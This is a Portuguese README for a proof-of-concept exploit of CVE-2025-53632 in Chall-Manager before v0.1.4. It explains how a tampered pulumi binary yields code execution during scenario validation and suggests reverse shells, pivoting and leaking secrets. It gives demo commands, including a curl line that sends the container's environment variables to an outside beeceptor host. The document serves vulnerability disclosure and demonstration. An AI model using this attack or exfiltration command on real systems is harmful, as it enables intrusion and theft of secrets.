
Uma exploração do CVE-2025-53632 para confirmar a explorabilidade
Este repositório contém um exploit do CVE-2025-53632 que afeta o Chall-Manager < v0.1.4. As versões afetadas estão claramente desatualizadas e muito provavelmente não são usadas por ninguém, então estou confiante de que não há exploração maliciosa atualmente.
Este repositório não lhe dá o direito de atacar ninguém, mas é destinado a fins educacionais.
[!WARNING] A forma como o Chall-Manager lida com cenários ainda é completamente explorável sem o zip slip: basta adulterar o binário
pulumido cenário para que a próxima execução execute seu código arbitrário.
Demonstramos o ataque no Chall-Manager v0.1.3.
Vamos imaginar um Chall-Manager exposto (por favor, não faça isso, não é para ser assim, pois é um aplicativo RCE sob demanda).
Ao criar um desafio, o cenário é validado por uma pré-visualização do Pulumi. Não há controle sobre esse código em si, então podemos injetar qualquer coisa.
Para isso, o Chall-Manager usa a auto API do Pulumi, que executa o binário do Pulumi. Ele faz isso sem caminho absoluto, pois espera que esteja em /pulumi/bin/pulumi ($PATH começa com /pulumi/bin).
Usando essas informações, vamos adulterar o programa pulumi injetando algum código shell antes de sua execução. Como o cenário será então validado, o programa pulumi adulterado será executado, rodando o script.
A partir deste script, agora você pode abrir um reverse shell, pivotear pela infraestrutura ou dentro do contêiner, vazar segredos (por exemplo, contidos em variáveis de ambiente) ou até mesmo o conteúdo do desafio (por exemplo, a flag do desafio se um cenário não foi pré-construído).
Para executar esta demonstração do exploit você precisará de:
Execute o chall-manager.
docker run --name chall-manager -d -p 8080:8080 ctferio/chall-manager:v0.1.3
Execute main.go
go run main.go --url localhost:8080
Seja criativo com seu script ! Por exemplo, você pode enviar informações do sistema para um terceiro...
go run main.go --url localhost:8080 --script 'curl -d "$(env)" https://app.beeceptor.com/console/cve-2025-53632'
Você pode parar o contêiner Docker de demonstração do Chall-Manager quando terminar.
docker stop chall-manager && docker rm $_